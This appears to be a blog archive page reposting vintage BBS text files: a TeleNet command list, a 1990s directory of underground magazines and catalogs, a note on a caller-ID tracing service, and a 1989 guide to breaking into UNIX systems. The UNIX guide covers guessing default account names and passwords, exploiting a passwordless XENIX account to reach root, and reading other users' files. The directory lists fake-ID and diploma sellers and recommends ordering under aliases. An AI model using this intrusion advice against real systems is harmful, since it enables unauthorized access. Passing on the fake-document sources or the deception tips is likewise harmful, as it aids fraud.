border:1px solid #000;

height:4px;

width:4px;

border-radius:50%;

}

#b8:before, #b8:after {

content: '';

position: absolute;

top: 0;

left: 0;

width: 100%;

bottom: 0;

z-index: -1;

background:#A7C6DB;

}

#b8:before {

-webkit-transform: skew(-5deg);

-moz-transform: skew(-5deg);

left: 2px;

border:1px solid #000;

border-left:none;

}

#b8:after {

-webkit-transform: skew(5deg);

-moz-transform: skew(5deg);

left: -2px;

border:1px solid #000;

border-right:none;

}

Live Demo

An Introductory Guide To TeleNet Commands

2013-02-01T23:26:00.001+07:00

An Introductory Guide To TeleNet Commands
I don't know how many of you use TeleNet to call this system (or other
systems) but I thought this might come in handy for those that do.

Some basic info about TeleNet commands. To enter a TeleNet you must be at
the TeleNet prompt "@". You can get there two ways:
1) When you first dial TeleNet you will be at the prompt
2) When connected to a system via TeleNet you can return to TeleNet
command mode by typing "<CR>@<CR>" (See note A.)
Once you get to the prompt here are some of the commands available to you
and a brief description of what they do.
Command Function
-------------------------------------------------------------------------
C xxxxxxx<CR> Connects you to a specific host or terminal.
STAT<CR> Display network port address.
FULL<CR> Set full duplex
HALF<CR> Set half duplex
DTAPE<CR> Prepares the network for bulk file transfers.
CONT<CR> Return to transfer mode from command mode.
BYE<CR> or D<CR> Disconnects you from the currently connected host.
HANGUP<CR> Tells TeleNet to hang up the phone....
TERM xx<CR> Changes your terminal type. xx can be one of the
following:
D1 = CRT's and Personal Computers
B3 = Bi-directional printers
A2 = Uni-directional printers
A5 = Slow printing terminal which
loses data on the left side
at another setting.
A9 = same as A5
<CR> = Unknown
MAIL or Requests connection to Telemail.
TELEMAIL<CR>
TEST CHAR<CR> Used to test the system if you are receiving
garbled output. Use this and look for garbled
characters or patern breaks. If you do try
adjusting your parity or contact TeleNet.
TEST ECHO<CR> If you feel your input to the system is being
garbled by your parity or contact TeleNet.
TEST ECHO<CR> If you feel your input to the system is being

An Introduction to the Computer Underground

2013-02-01T23:16:00.003+07:00

From: The Butler / Ripco BBS
Subject: An Introduction to the Computer Underground

***********************************************************************
      * *
          * An Introduction to the Computer Underground *
          * *
          * Brought to you by, *
          * *
          * The Butler... *
          * *
          * *
      ***********************************************************************

The Computer Underground consists of mainly two forms of media, printed
and electronic, both will be discussed in this file. I use the word
underground because some of the contents of this file are not the types of
titles you would run across at your local bookstore or newsstand. The kind of
information that makes up underground publications is mainly technical in
nature, but, definitely not limited to that. One can also find tidbits about
off-the-wall political views, drugs, weapons, and other topics that are not
normally in the mainstream of our society.

The Computer Underground...

Com-put-er Un-der-ground \kem-`py t-er\ \`en-der-`gra nd\ (1970's)

A group organized in secrecy, hidden behind aliases, to promote the free
exchange of information regarding anything and everything including but
not limited to Computers, Telephones, Radios, Chemicals, and ideas.

The CU is made up of men and women all over the globe and of all ages. Most
of those involved in the CU consider it a hobby, but, there are those that
are involved strictly for illegal purposes, i.e. Selling Pirated Software. I,
like most people involved enjoy the information that can be obtained through
all of the different avenues in the CU, i.e. Bulletin Boards, Underground
Periodicals, Network Digests, and General Discussions between members.

The most common way members communicate is through Bulletin Boards. If you are
reading this you know what a BBS is because this will not be released in
printed form. There are thousands of BBSes around the world run by people for
many reasons including: legitimate businesses, Software Technical Support,
Hobby related, Pirated Software, Message Centers, etc...Some of the more common
ones are RIPCO, Face-2-Face, Exec-PC, The Well, etc...

Currently there are many regular electronic magazines that are being published
and there have been many that have discontinued for one reason or another.
Some current ones include: PHRACK, NIA, PHANTASY, CUD, etc...Some discontinued
ones include: PIRATE, PHUN, NARC, etc...

There is a current debate about whether or not an electronic media has the same
constitutional rights as the printed one. That is for our congressmen to
decide, but you could voice your opinion. I personally can't see the differ-
-ence. Now, don't get me wrong I do not support the publishing of Long-
distance codes or anything of that nature, but, I do support the exchange of
other information, i.e. how to unprotect a game, how to make a smoke bomb,
etc...

There are also "Underground Publications" like TAP, 2600, Cybertek, etc.
These magazines are published in hard copy and deal with every considerable
topic regarding the CU. Most of these magazines publish completely legal
information that is obtained from public sources and is available to anyone
and everyone.

I doubt that any of the following sources of information would mind if you use
an alias to order any of their material, so I would recommend that you do
just in case! You might even want to get yourself a private mail box for all
of this "underground" information. I would also advise you to use a money
order when purchasing anything also. They usually cost an extra 50 cents at
the post office. Don't worry about using money orders with these people because
I have personally made purchases from many of them without trouble.

The following information is provided to enable you to become more familiar
with the CU and unusual information in general. Have fun and try not to
get yourself in trouble.

Now for the meat of this Article!!!!

E L E C T R O N I C M A G A Z I N E S

PHRACK Predecessor to Phrack Classic
Author: Knight Lightning & Taran King
Network Address:c483307@umcvmb.missouri.edu
Other Address:
BBS: None
Last Issue: Phrack #30

PHRACK CLASSIC
Author: Doc Holiday, Crimson Death & Various Contributors
Network Address: pc@well.uucp or cdeath@stormking.com
Other Address:
BBS: None
Last Issue: Phrack Classic #32 11/90

LOD Legion Of Doom Technical Journals
Author: Eric Bloodaxe, Lex Luthor, Prime Suspect, Phase Jitter,
Professor Phalken, Skinny Puppy.
Network Address: None
Other Address:
BBS:
Last Issue: LOD Tech Journal #4 May 20, 1990

PHUN Phreakers/Hackers Underground Network
Author: Red Knight
Network Address: N/A
Other Address:
BBS:
Last Issue: P/HUN #5 05/07/90

ATI Activist Times, Incorporated
Author: Ground Zero
Network Address: gzero@tronsbox.xei.com
Other Address: ATI P.O. Box 2501 Bloomfield, NJ 07003
BBS:
Last Issue: ATI #53 12/05/90

NIA Network Information Access
Author: Guardian Of Time & Judge Dredd
Network Address: elisem@nuchat.sccsi.com
Other Address:
BBS:
Last Issue: NIA #70 02/91

PHANTASY
Author: The Mercenary
Network Address: None
Other Address: The I.I.R.G. 862 Farmington Ave, Suite-306,
Bristol, Ct 06010
BBS: Rune Stone 203-485-0088
Last Issue: Phantasy V1N4 1/20/91

PIRATE
Author: Various Authors
Network Address: N/A
Other Address:
BBS: N/A
Last Issue: V1 #5 April 1990

ANE Anarchy 'N' Explosives
Author: Various Authors
Network Address: N/A
Other Address:
BBS: N/A
Last Issue: #7 06/16/89

NARC Nuclear Phreakers/Hackers/Carders
Author: The Oxidizer
Network Address: N/A
Other Address:
BBS:
Last Issue: NARC #7 Fall 1989

SYNDICATE REPORTS
Author: The Sensei
Network Address:
Other Address:
BBS:
Last Issue:

This is not an attempt to list all of the known magazines but just some of the
more popular ones. If I left a particular one out that you feel should of been
included I apologize.

All of the above magazines can be found in the CUD archives and at many of the
Bulletin Board Systems listed at the end of this file.

P R I N T E D M A G A Z I N E S

Author: Emmanuel Goldstein
Network Address: 2600@well.sf.ca.us
Other Address: 2600 Magazine, P.O. Box 752, Middle Island, NY 11953

2600 Magazine is published quarterly, 48 pages per issue.
Subscriptions are $18 U.S. for a year in the U.S. and Canada,
$30 overseas. Corporate subscriptions are $45 and $65 respectively.
Back issues are available for $25 per year, $30 per year overseas
and they go back to 1984.

Phone 516-751-2600
Fax 516-751-2608

TAP/YIPL Formerly YIPL "Youth International Party Line"
Now TAP "Technical Assistance Party"

TAP Magazine
P.O. Box 20264
Louisville, KY 40250
Most all issues will cost $1.00 for US Citizens and $2.00
for overseas. Terms are CASH, postal money order,
or regular money order with the payee left blank.
BBS: 502-499-8933

Cybertek Magazine
Published by OCL/Magnitude
P.O. Box 64
Brewster NY 10509
$2.50 for sample issue
$15 year for 6 issues

Mondo 2000 (Formerly Reality Hackers Magazine / High Frontiers)
P.O. Box 10171
Berkley, CA 94709-5171
Phone 415-845-9018
Fax 415-649-9630
$24 for five issues
Frank Zappa subscribes to Mondo 2000!!!

Fact Sheet Five
6 Arizona Ave
Rensselaer, NY 12144-4502
$3.50 for a sample issue.
$33 a year for 8 issues
Phone 518-479-3707

Fact Sheet Five reviews any independent news media, i.e. 2600, TAP,
Books, Music, Software, etc.

Full Disclosure by Glen Roberts
P.O. Box 903-C
Libertyville, Illinois 60048
Free sample issue
$18 for 12 issues

Deals with Privacy, electronic surveillance and related topics.

Anvil
P.O. Box 640383f
El Paso, TX 79904

Computer Security Digest
150 N. Main Street
Plymouth, MI 48170
Phone 313-459-8787
Fax 313-459-2720
$125 U.S. per year.
Overseas $155 U.S. per year.

HAC-TIC Dutch Hacking Magazine
Network Address: ropg@ooc.uva.nl
Other Address: Hack-Tic P.O. Box 22953 1100 DL Amsterdam
Phone: +31 20 6001480

Privacy Journal
P.O. Box 15300
Washington D.C. 20003
Phone 202-547-2865

Monitoring Times
140 Dog Branch Road
Brasstown, North Carolina 28902

B O O K S

Anarchist Cookbook???

Poor Man's James Bond by Kurt Saxon

Big Secrets by William Poundstone

Bigger Secrets by William Poundstone

How to get anything on anybody by Lee Lapin

Signal--Communication Tools for the Information Age A Whole Earth Catalog
(Highly Recommended!!!)

Neuromancer by William Gibson

Out of The Inner Circle by Bill Laundreth

Hackers by Steven Levy

The Cookoo's Egg by Clifford Stoll

The Shockwave Rider

Information for sale by John H. Everett

Hackers Handbook III by Hugo Cornwall

Datatheft by Hugo Cornwall

The International Handbook on Computer Crime by U. Sieber

Fighting Computer Crime by D. Parker

Foiling the System Breakers by J. Lobel

Privacy in America by D. Linowes

Spectacular Computer Crimes by Buck BloomBecker

Steal This Book by Abbie Hoffman

M I S C E L L A N E O U S C A T A L O G S

Loompanics LTD
P.O. Box 1197
Port Townsend, WA 98368

Paladin Press
????

Consumertronics
2011 Crescent DR.
P.O. Drawer 537
Alamogordo, NM 88310
Phone 505-434-0234
Fax 500-434-0234(Orders Only)

Consumertronics sells manuals on many different hacking/phreaking related
topics, i.e. "Voice Mail Box Hacking", "Computer Phreaking", etc.

Eden Press Privacy Catalog
11623 Slater "E"
P.O. Box 8410
Fountain Valley, CA 92728
Phone 1-800-338-8484 24hrs, 7 days a week.

Here is the opening paragraph from their catalog:

Welcome to the Privacy Catalog, Over 300 publications explore every aspect of
privacy in ways that are not only unique, but also provocative. Some books may
seem "controversial", but that results only from the fact that people can enjoy
many different views of the same subject. We endeavor to offer views that will
prove both helpful and thoughtful in the many areas where privacy may be a
concern.

Criminal Research Products
206-218 East Hector Street
Conshocken,PA 19428

Investigative equipment and electronic surveillance items.

Ross Engineering Associates
68 Vestry Street
New York,NY 10013

Surveillance items

Edmund Scientific CO.
101 E. Gloucester Pike
Barrington, NJ 08007

Catalog of gadgets and devices including items which are useful to the
surveillance craft.

Diptronics
P.O. BOX 80
Lake Hiawatha, NJ 07034

Microwave TV Systems
Catalog costs $3

Garrison
P.O. BOX 128
Kew Gardens, NY 11415

Locksmithing tools and electronic security gadgets.
Catalog costs $2.

Bnf Enterprises
P.O. BOX 3357
Peabody, MA 01960

General electronics supplier.

Mouser Electronics
11433 Woodside avenue
Santee, CA 92071

Sells most electronic components parts and equipment.

Benchmark Knives
P.O. BOX 998
Gastonia, NC 28052

Call for a free catalog. (704-449-2222).

Excalibur Enterprises
P.O. BOX 266
Emmans, PA 18049

Night vision devices.
Catalog costs $5

DECO INDUSTRIES
BOX 607
Bedford Hills, NY 10157

Sells mimiture Electronic Kits

Matthews Cutlery
38450-A N. Druid Hills RD.
Decatur, GA 30033

Their catalog contains over 1000 knives and costs $1.50.

U.S. Cavalry Store
1375 N. Wilson Road
Radcliff, KY 40160

Military & paramilitary clothing & gear.
Catalog costs $3.

The Intelligence Group
1324 West Waters Avenue
Lighthouse Point, FL 33064

Sells video equipment used for investigative purposes.

Columbia Pacific University
1415 Third Street
San Rafael, CA 94901

Bachelors, Masters, and Doctorate degrees

Video & Satellite Marketeer
P.O. BOX 21026
Columbus, OH 43221

Newsletter containing video, vcr, satellite dishes, etc.

Santa Fe Distributors
14400 W. 97'TH Terrace
Lenexa, KS 66215

Radar detectors and microwave tv systems.
(913-492-8288)

Alumni Arts
BOX 553
Grant's Pass, OR 97526

Reproductions of college diplomas.
Catalog costs $3

Merrell Scientific CO.
1665 Buffalo Road
Rochester, NY 14624

Chemical suppliers
Catalog costs $3.

K Products
P.O. BOX 27507
San Antonio, TX 78227

I.D. Documents.
Catalog costs $1.

City News Service
P.O. BOX 86
Willow Springs, MO 65793

Press I.D. cards.
Catalog costs $3.

Matthews Police Supply CO.
P.O. BOX 1754
Matthews, NC 28105

Brass knuckles etc.

Taylor
P.O. BOX 15391
W. Palm Beach, FL 33416

Drivers license, student I.D. cards, etc.

Capri Electronics
ROUTE 1
Canon, GA 30250

Scanner accessories

Liberty Industries
BOX 279 RD 4
Quakertown, PA 18951

Pyrotechnic components
Catalog costs $1

DE VOE
P.O. BOX 32
BERLIN PA 15530

Sells information on making electronic detonators.

Scanner World USA
10 New Scotland Avenue
Albany, NY 12208

Cheap scanner receivers.

H & W
P.O. BOX 4
Whitehall, PA 18052

Human Skulls, arms, legs, etc.
A complete list is available for $1 and Self Addressed Stamped Envelope.

Abbie-Yo Yo Inc.
P.O. Box 15
Worcester MA 01613

This is an old address that I could not verify but, they used to sell the book
"Steal This Book".

For most of these catalogs you could probably play dumb and just send them a
letter asking for a catalog or brochure without paying a cent. Pretending not
to know that their catalogs cost anything.

M I S C E L L A N E O U S R E P O R T S & P A P E R S

Crime & Puzzlement by John Perry Barlow

The Baudy World of the Byte Bandit A Postmodernist Interpretation of the
Computer Underground by Gordon Meyer & Jim Thomas

Concerning Hackers Who Break into Computer Systems by Dorothy E. Denning

The Social Organization of the Computer Underground by Gordon R. Meyer

Computer Security "Virus Highlights Need for Improved Internet Management"
By the United States General Accounting Office. GAO/IMTEC-
89-57
Call 202-275-6241 for up to 5 free copies.

N E T W O R K D I G E S T S

Telecom Digest
Moderator: Patrick Townson
Network Address: telecom@eecs.nwu.edu

Risks Digest
Moderator: Peter G. Neumann
Network Address: Risks@csl.sri.com

Virus-l Digest
Moderator: Kenneth R. Van Wyk
Network Address: krvw@cert.sei.cmu.edu

Telecom Privacy Digest
Moderator: Dennis G. Rears
Network Address: telecom-priv@pica.army.mil

EFF News Electronic Frontier Foundation
Network Address: effnews@eff.org
Other Address: 155 Second Street Cambridge, MA 02141
Phone: 617-864-0665

Computer Underground Digest
Moderators: Jim Thomas & Gordon Meyer
Network Address: tk0jut2@niu

F T P S I T E S C O N T A I N I N G C U M A T E R I A L

192.55.239.132
128.95.136.2
128.237.253.5
130.160.20.80
130.18.64.2
128.214.5.6 "MARS Bulletin Board" Login "bbs"
128.82.8.1
128.32.152.11
128.135.12.60

All of the above accept anonymous logins!

B U L L E T I N B O A R D S

Ripco 312-528-5020
Face-2-Face 713-242-6853
Rune Stone 203-485-0088 Home of NIA
The Works 617-861-8976
The Well 415-332-6106
Blitzkrieg 502-499-8933 Home of TAP
Uncensored 914-761-6877
Manta Lair 206-454-0075 Home of Cybertek

I N D I V I D U A L N E T W O R K A D D R E S S E S

Aristotle Former Editor of TAP Magazine
uk05744@ukpr.uky.edu or uk05744@ukpr.bitnet

Dorthy Denning Author of "Concerning Hackers Who Break into
Computer Systems"
denning@src.dec.com

Clifford Stoll Author of "Cookoo's Egg"
cliff@cfa.harvard.edu

Craig Neidorf Former Editor of Phrack Magazine
c483307@umcvmb.missouri.edu

Ground Zero Editor of ATI Inc.
gzero@tronsbox.xei.com

M I S C S O F T W A R E

SPAudit Self-Audit-Kit
1101 Connecticut Avenue
Northwest Suite 901
Washington DC 20036
Phone 202-452-1600
Fax 202-223-8756

Free!!!

I would like to thank everyone who gave me permission to use their information
in this file.

The information provided here is for informational purposes only. What you
choose to do with it is your responsibility and no one else's. That means not
me, and not the BBS you downloaded this from!

To my knowledge this is the most comprehensive and upto date list of
underground books, catalogs, magazines, electronic newsletters, and network
addresses available. If there are any additions or corrections to this list
please contact me via the Ripco BBS.

The Butler...

An Introduction into TeleScan

2013-02-01T23:08:00.001+07:00

INTRODUCTION

Whats all the hoopla? Well I've been trying to find a good ANI demo ever
since IIRG's went down at the first of the year [800-852-9932]. Well I
finally got one from The Mortician. Here it is... 8 0 0 . 7 7 5 . 5 5 1 3

This is an ANI demo provided by a security company called TEL-SCAN(tm). Now

ANI is cool and useful and everything, but it isn't hardly worthy of one of

my wonderful headers. But see, theres more at stake here. Call the demo and

get the ANI info and all that, and if you're a lamer stop there. But if

you're kK00l enough, stay on the line and find out more about TEL-SCAN(tm),

the company providing the demo.

THE TEL-SCAN(tm) NETWORK

TEL-SCAN(tm) is a Colorado based Security service that offers an improvised

skip-tracing method to Private Investigators, (or anyone with money and a

good MO). How it works is this: subscribers are provided with an 800

"Identifier Line" which when called automatically identifies the incoming

number and records it into a corresponding Voice Mail Box. The subscriber can

then call the Mail Box and it will relay to him all incoming calls to the

"Identifier Line". 2-o0 pH_ukYn /<eW/! The possibilities with ANI and VMBs at

hand are endless!!!

TEL-SCAN(tm) can be used as such: Get a bunch of business cards printed with

the "Identifier Line" printed as your phone number. If you're looking for

someone, leave your card around places where they're likely to get it. When

they call, you've got the number they're calling from and possibly an

important lead. Viola! Skip-Tracing improvised. No this of course is

constitutes intended use. As far as underground use goes...well...you know.

TEL-SCAN(tm) GEOGRAPHICALS

For more information on TEL-SCAN(tm) write or call::

TEL-SCAN(tm)

2641 North Taft

Loveland, CO 80538

Number: 303.663.1703

FAX: 303.663.1708

By the way when you call, you will be asked where you heard about TEL-

SCAN(tm). DO NOT say you heard it from me (duh)! Have a good one ready

because they will hang up on you if they think something is funny.

TEL-SCAN(tm) PRICES

This service has a one time activation fee of $67.00 dollars. Thereafter you

are charged $5.00 dollars everytime the service identifies a number for you.

You are billed monthly if applicable, but there are no mandatory monthly

fees. Now here's the good part: you can subscribe to the service via FAXed

licensing agreement at which time you will IMMEDIATLEY be issued a Mail Box

and a "Line Identifier". They will bill you later for the activation fee. Not

to shabby huh?

OUTRODUCTION

Well thats it, and thanks again to The Mortician at Lies, Hate, and Deception

(LHD·) for this one.

An Indepth Guide in Hacking UNIX and the concept of Basic Net

2013-02-01T22:53:00.001+07:00

]
*> Press [X] to Abort / [CR] to Continue: []

*> Title: Hacking UNIX
*> Date: 6/10/89
*> Time: 12:20 pm

/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/
\|/ \|/
/|\ /|\
\|/ An Indepth Guide in Hacking UNIX and the \|/
/|\ concept of Basic Networking Utility /|\
\|/ ---------------------------------------- \|/
/|\ By:Red Knight /|\
\|/ Phreakers/Hackers Underground Network \|/
/|\ /|\
\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\

Brief history on UNIX
----------------------
Its because of Ken Tompson that today were able to Hack Unix.He used to work
for Bell Labs in the 60s.Tompson started out using the MULTICS OS which was
later eliminated and Tompson was left without an operating system to work with.
Tompson had to come up with something real quick.He did some research and
and in 1969 UNIX came out,which was a single user and it didn't have
many capabilities.A combined effort with others he rewrote the version
in C and added some good features.This version was out in 1973 and was
available to the public.This was the first begining of UNIX as its known
presently.The more refined version of UNIX,today know as UNIX system V
developed by Berkley University has unique capabilities.
Various types of UNIXes are CPIX,Berkeley Ver 4.1,Berkeley 4.2,FOS,Genix,HP-UX,
IS/I,OSx,PC-IX,PERPOS,Sys3,Ultrix,Zeus,Xenix,UNITY,VENIX,UTS,Unisys,Uniplus+,
UNOS,Idris,QNIX,Coherent,Cromix,System III,System 7,Sixth edition.

The article it self:
--------------------
I believe that hacking into any system requires knowledge of the Operating
system itself.Basically what I will try to do is make you more familiar with
UNIX operation ,its usefull commands that will be advantageous to you as a
hacker.This article contains in depth explainations.

Error Messages that one may came across:[UNIX system V]
----------------------------------------
Login incorrect - An ivalid ID and/or pw was entered.This means nothing.
In UNIX there is no way guessing valid user IDs.You may
come across this one when trying to get in.
No more logins - will happens when the system wont accept anymore logins
could be going down
Unknown Id - will happen if an ivalid id is entered using (su) command
Unexpected eof in file - The file being stripped file has been damaged
Your password has expired - This is quiet rare although there have been cases
where it happened.Reading the etc/passwd will
show you at how many intervals it changes.
You may not change the password - The password has not yet aged enough.The
Administrator set the quotas for the users
Unknown group [groups name] - occurs when chgrp is executed ,group doesn't
exist
Sorry - Indicated that you have typed in an invalid super user password(execu-
tion of the su)
Permission denied!- Indicated you must be the owner or a super user to change
password.
Sorry <[# of weeks] since last change - This will happen when password has
has not aged enough and you tried to
change it(passwd)
[directory name]:no permission - You are trying to remove a directory which
you have no permission to.
[file name] not removed - trying to delete a file owned by another user
that you dont have write pemision for.
[dirname] not removed - ownership of the dir is not your that your trying to
delete.
[dirname] not empty - the directory contains files so you must have to delete
the files before executing the rmdir
[command] not found - you have entered an ivalid command not know to UNIX
cant execute pwd - some thing wrong with the system cant execute pwd command
cannot chdir to .. - (.. one level up) permision is required to execute pwd
above the current directory
cant open [file name] - defined wrong path,file name or you have no read
permission
cp:[file name] and [file name] are identical - self explanatory
cannot locate parent directory - occurs when using mv
[file name] not found - file which your trying to move doesn't exsist
You have mail - Self explanatory

Basic Networking Utility error messages
---------------------------------------
cu:not found - networking not installed
login failed - invalid id/pw or wrong # specified
dial failed - the systen never answered due to a wrong #
uucp completely failed - did not specify file after -s
wrong time to call - you called at the time at a time not specified in the
Systems file
system not in systems - you called a remote not in the systems file

Logon format : first thing one must do is switch to lower case
--------------
Identifing a UNIX.Here is what you'll see:
Some times there will be no system identifer

AT&T UNIX SysVR3.0 (eg of a system identifier)

login:
or
Login:

Any of these is a UNIX.Here is where you will have to guess at a user valid
id.Here are some that I have come across eg( glr,glt,radgo,rml,chester,cat,
lom,cora,hlto,hwill,edcasey and also some containing numbers smith1,mitu6 or
special characters in it like bremer$,j#fox.Login names have to be 3 to 8
chracters in lenght lowercase and must start with a letter.In some XENIX
systems one may login as "guest"

User level accounts:(lower case)
--------------------
In Unix they have whats called accounts .These
accounts can be used at the "login:" prompt.
Here is a list:

sys
bin
trouble
daemon
uucp
nuucp
rje
lp
adm
listen - if starlan is installed

Super-user accounts:
--------------------
And then there are super-user login which make UNIX worth hacking.
The accounts are used for a specific job. In large systems these logins
are assingned to users who have a responsibilty to maintain subsystems.

They are as follows :(all lower case)

root - this is a must the system comes configured with it.It has no
restriction.Has power over every other account.
unmountsys - unmounts files
setup - system set up
makefsys - makes a new file
sysadm - allows useful S.A commands(doesn't need root login)
powerdown - powering system down
mountfsys - mounts files
checkfsys - checks file

These accounts will definitly have passwords assigned to them.These
accounts are also commands used by the system administrator.

Here are some examples of accounts I have seen:

cron uuhelp usenet
anonuccp news network
bellboy lp vector
guest games ninja
vote warble sysinfo

After the login prompt you will receive a password prompt:

password:
or
Password:

Enter the password (it wont echo).The password rule is as follows:Each pw
has to contain at least 6 characters and maximum has to be 8 .Two of which are
to be alphabetic letters and at least one being a number or a special character
The alphabetic digits could be in upper case or lower case.Here are some of the
passwords that I have seen (eg.Ansuya1,PLAT00N6,uFo/78,ShAsHi..,Div417co)

The passwords for the super user accounts will be difficult to hack
try the accounts interchangebly eg.login:sysadm password:makefsys or rje1,
sysop,sysop1,bin4 or they might contain letter,numbers,special chracters in
them.It could be anything.The user passwords are changed by an aging proccess
at successive intervals.The users are forced to changed it.The super-user
will pick a password that wont need changing for a long period of time.

You have made it!
-----------------
The hard part is over and hopefully you have hacked a super-user account.
Remember Control-d stops a process and also logs you off.
The next thing you'll probably see is the system news
eg.

login:john
password:hacker1
System news
There will be no networking offered to the users till
august 15,due to hardware problems.
(just an example)

$

$ is the Unix prompt -waiting for a command to be entered.I will use this
throught the article to show outouts etc..(Its not
part of the command)
# - means your logged in as root(very good)

A word about the XENIX System III:(run on the tandy 6000)
---------------------------------
The largest weakness in the XENIX System III occurs after the installation
of the Profile-16 or more commonly know as the filepro-16.I have seen the
filepro-16 installed in many systems.
The installation process creates an entry in the password file for a user
named \fBprofile\fR ,an account that who owns and administors the database.
The great thing about it is that when the account is created ,no password is
assigned to it.The database contains executable to maintain it.The database
creation programs perform a \fBsetuid\fR to boot up the \fBoot\fR there by
giving a person the whole C Shell to gain Super User privilege same as root.
Intresting huh!

* Note: First the article will inform you of how the Unix is made up

The Unix is made if three components-The shell,the kernal,file system.

The kernal:
-----------
You could say that the kernal is the heart of the Unix operating system.
The kernal is a low level language lower than the shell which maintains
processes .The kernal handles memory usage ,maintains file system
the sofware and hardware devices.

The shell:
----------
The shell a higher level language. The shell had two important uses,
to act as command interpreture for example using commands like cat,who,
ls the the shell is at work figuring out whether you have entered a command
correctly or not.The second most important reason for the shell is its ability
to be used as programing language.Suppose your performing some tasks
repeatedly over and over again,You can program the shell to do this for you.

The file system:
---------------
The file system in Unix is divede into 3 catagories:Directories,ordinary files
and special files.(d,-)

Basic stucture:
(/)-this is abreviation for the root dirctory.
root level root
(/) system
-------------------------------------|----------------------------------level
| | | | | | | |
/unix /etc /dev /tmp /lib /usr /usr2 /bin
| _____|_____
login passwd | | |
level /john /cathy
________________________|_______________
| | | | | |
.profile /mail /pers /games /bin /michelle
*.profile - in case | __|______ | __|_______
you wich to change your enviroment capital | | data | |
but after you log off.It sets to othello starwars letter letter1
default.

the /unix-is the kernal
/etc - contains system administrators files,Most are not available to the
regular user.(this directory contains the /passwd file)

Here are some files under /etc directory:
/etc/passwd
/etc/utmp
/etc/adm/sulog
/etc/motd
/etc/group
/etc/conf
/etc/profile

/dev - contains files for physical devices such as printer and the disk drives
/tmp - temporary file directory
/lib - dirctory that contains programs for high level languages
/usr - this directory contains dirctories for each user on the system

Eg. of a list of files under /usr
/usr/tmp
/usr/lib
/usr/docs
/usr/news
/usr/spool
/usr/spool/lp
/usr/lib/uucp

/bin - contain executable programs (commands)

The root also contains:
/bck - used to mount a back up file system.
/install - Used to install and remove utilities
/lost+found - This is where all the removed files go,This dir is used by fsck
(1M)
/save -A utility used to save data
/mnt - Used for temporary mounting

**Now the fun part scouting around**

Local commands (Explained in details)
-------------------------------------
At the unix prompt type the pwd command-it will show you the current working
directory you are in.

$ pwd
$ /usr/admin - assuming that you have hacked into a super user acc checkfsys
$

This gives you the full login directory.The / before tell you the location
of the root directory

or

(REFER TO THE DIAGRAM ABOVE)
$ pwd
$ /usr/john
$
Assuming you have hacked into johns acc.

Now lets say you wanted to move down to the michelle directory( you own this)
that contains letters.You would type in

$ cd michelle or cd usr/john/michelle
$ pwd
$ /usr/john/michelle
$

Going back one directory up type in:
$ cd ..
or going to your parent directory just type in "cd"

Listing file directories assuming you are in the parent directory:

$ ls /usr/john
mail
pers
games
bin
michelle
This wont give you the .profile file .To view it type
$ cd
$ ls -a
:
:
.profile

To list file names in michelles directory type in:
$ ls michelle (that if your in the johns directory)
$ ls /usr/john/michelle(parent dir)

ls -l
-----
The ls -l is an an important command in unix.This command displays the whole
directory in long format :Run this in parent directory

$ ls -l
total 60
-rwxr-x--- 5 john bluebox 10 april 9 7:04 mail
drwx------ 7 john bluebox 30 april 2 4:09 pers
: : : : : : :
: : : : : : :
-rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys
: : : : : : :
$

The total 60 tells one the ammount of disk space used in a directory.The
-rwxr-x--- is read in triples of 3.The first chracter eg(-,d,b,c)-means as
follows: - is an ordinary file ,d is a directory,b is block file,c is a
chracter file.
The r stands for read permission,w is write permission,x is execute.The first
colum is read in 3 triples as stated above.The first group of 3 (in -rwxr-x---)
after the "-" specifies the permission for the owner of the file,the second
triple are for the groups (the fourth colum) and the last triple are the
permissions for all other users.Therefore the -rwxr-x--- is read as follows.
The owner john has permission to read,write and execute anything in the bin
directory but the group has no write permission to it and the rest of the users
have no permission at all.The format of one of the lines in the above output
is as follows:

file type-permissions,links,usersname,group,bytes taken,date,time when last
renued,directory or file name.
**You will be able to read,execute cathys file named party due to the same
group***

chmod
-----
The chmod command changes permission of a directory or a file.Format is
chmod who+,-,=r,w,x
The who is substituted by u-user,g-group,o-other users,a-all.
The + means add permission,- means remove permission,= - assign.
Example :If you wanted all other users to read the file name mail ,type:

$ chmod o+r mail

cat
---
Now suppose you wanted to read the file letter .There are teo ways to doing
this.First go to the michelle directory then type in:

$ cat letter
line one ...\
line two ... }the output of letter
line three../
$
or
If you are in the parent directory type in:
$ cat /usr/john/michelle/letter
and you will have the same output.

Some cat options are -s,-u,-v,-e,-t

Special Chracters in Unix:
-------------------------
* - matches any number of single characters eg. ls john* will list
all files that begin with john
[...] - matchs any one of the chracter in the [ ]
? - matches any single chracter
runs a process in the backgroung leaving your terminal free
$ - Values used for variables also $n - null argument
> - redirectes output
< - redirects input to come from a file
>> - redirects command to be added to the end of a file
| - pipe output (eg:who|wc-l tells us how many users are online)
"..." - Turn of meaning of special chracters excluding $,`
`...` - allows command output in to be used in a command line
'...' - turns of special meaning of all chracters

continuation of local commands...[ ] -contains the options used
-------------------------------
passwd
------
Password changing seems to be a big thing among the savants.Anyway to change
the password one would use the 'passwd' command as shown below:

$passwd
Changing password for john
Old password:
New password:
Retype new password:
$

This will only work when the password has aged enough

ps
--
Its sometimes necessary to see what command procesess you are running,this
command lets you see that.
ps [-a all processes except group leaders] [-e all processes] [-f the whole
list]

$ps
PID TTY TIME COMMAND
200 tty09 14:20 ps

The systems reports (PID - process idenetification number which is a #
from 1-30,000 assigned to UNIX processes)
It also reports the TTY,TIME and the COMMAND being executed at the time.
To stop a process enter :

$kill [PID] (this case its 200)
200 terminated
$

grep
----
This comand is important when seaching for a word or words in large files.

grep [argument] [file name] - searchs for an file that contains the argument
for example:
$ grep phone cathy
phone michelle (718)5551234
phone cindy (718)5553456

What this did was to find the argument 'phone' in the file cathy.If the
argument consists of two or more words then it must be enclosed in single
quotes.

mv
--
mv [file names(s)] [ dir name ] - renames a file or moves it to another
directory eg.
$mv letter letters
$
This renames the file letter to letters thereby deleting letter
or if you want to move files then
$mv /usr/john/pers/capital /usr/john/michelle/capital
$
This moves the file capital to the directory named michelle

diff
----
diff [file name] [ file name] - show diffrence between two files.Output of this
will have something like 4,5c4,5 then the it
will display both sets of files on the screen
